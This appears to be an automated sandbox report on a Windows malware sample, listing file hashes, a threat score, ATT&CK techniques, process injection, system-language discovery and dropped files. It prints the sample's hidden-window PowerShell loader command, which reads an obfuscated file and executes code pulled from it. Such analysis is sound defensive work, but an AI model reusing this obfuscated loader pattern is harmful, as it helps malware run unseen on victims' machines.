65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc

General

Target

65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc.exe
Size

849KB
MD5

0be9332786cd2b5d41edf5746bd4d351
SHA1

44443541dd2e4a40820f23d9057a92a27dfdc823
SHA256

65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc
SHA512

0dc9145a7cd7c7a2f8fcac3cad2ad8d046f2457013f8948423e8ba14928508b5fed3bb2835e5616c7072e0305e67a870fd5d2198d6e6220baf75e23047e2ecb2
SSDEEP

24576:HYDoeMwkejuoLDypBE2pBV92Smc7RfLym5Nhcp:4dMErLepBE2Sg7RDxhy

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
372	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Anraabelsens\Hyposternal.udk	65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4408	372	WerFault.exe	87

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
372	powershell.exe
372	powershell.exe
372	powershell.exe
372	powershell.exe
372	powershell.exe
372	powershell.exe
372	powershell.exe
372	powershell.exe
372	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	372	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4524 wrote to memory of 372	4524	65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc.exe	87
PID 4524 wrote to memory of 372	4524	65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc.exe	87
PID 4524 wrote to memory of 372	4524	65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc.exe	87

C:\Users\Admin\AppData\Local\Temp\65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc.exe
"C:\Users\Admin\AppData\Local\Temp\65645a7b022d73d26cf94f50e0c9eaa224911bf8443b0366bcc671be27dbb9bc.exe"
1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Hastvrkets=Get-Content 'C:\Users\Admin\AppData\Local\Temp\forgrovelse\konstituerendes\Ruskinian.Aut';$Udskydningers=$Hastvrkets.SubString(72279,3);.$Udskydningers($Hastvrkets) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:372
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 372 -s 2688
    3⤵
    - Program crash
    PID:4408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 372 -ip 372
1⤵
PID:4880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0sxvfahr.4s3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\forgrovelse\konstituerendes\Ruskinian.Aut

Filesize
70KB

MD5
d9f4631e18a66d4ac6bc85db28bb10fb

SHA1
b23b5e8e1f4601988295cb5e379ec0474cb3447f

SHA256
1ab90c8d831cc11a285d0599f39eb963d98ff7778d573fa48e5af2b95068f53d

SHA512
2a363e7f5dd49b790d2f423087bb4c347bed2c2f690929fc5c8cf219e8ed244d348a87a503a4bc1b4c59c8d6946c6f8652a2b4454902ff9cd52cb08586b89082

Download Submit
memory/372-9-0x0000000073640000-0x0000000073DF0000-memory.dmp

Filesize
7.7MB

Download
memory/372-24-0x0000000006020000-0x000000000606C000-memory.dmp

Filesize
304KB

Download
memory/372-5-0x000000007364E000-0x000000007364F000-memory.dmp

Filesize
4KB

Download
memory/372-10-0x0000000004FD0000-0x0000000004FF2000-memory.dmp

Filesize
136KB

Download
memory/372-12-0x00000000051E0000-0x0000000005246000-memory.dmp

Filesize
408KB

Download
memory/372-11-0x0000000005170000-0x00000000051D6000-memory.dmp

Filesize
408KB

Download
memory/372-7-0x0000000005340000-0x0000000005968000-memory.dmp

Filesize
6.2MB

Download
memory/372-22-0x0000000005970000-0x0000000005CC4000-memory.dmp

Filesize
3.3MB

Download
memory/372-23-0x0000000005F80000-0x0000000005F9E000-memory.dmp

Filesize
120KB

Download
memory/372-8-0x0000000073640000-0x0000000073DF0000-memory.dmp

Filesize
7.7MB

Download
memory/372-27-0x0000000006510000-0x0000000006532000-memory.dmp

Filesize
136KB

Download
memory/372-26-0x00000000064C0000-0x00000000064DA000-memory.dmp

Filesize
104KB

Download
memory/372-25-0x0000000006F40000-0x0000000006FD6000-memory.dmp

Filesize
600KB

Download
memory/372-28-0x0000000007590000-0x0000000007B34000-memory.dmp

Filesize
5.6MB

Download
memory/372-6-0x0000000002650000-0x0000000002686000-memory.dmp

Filesize
216KB

Download
memory/372-30-0x00000000081C0000-0x000000000883A000-memory.dmp

Filesize
6.5MB

Download
memory/372-32-0x0000000073640000-0x0000000073DF0000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing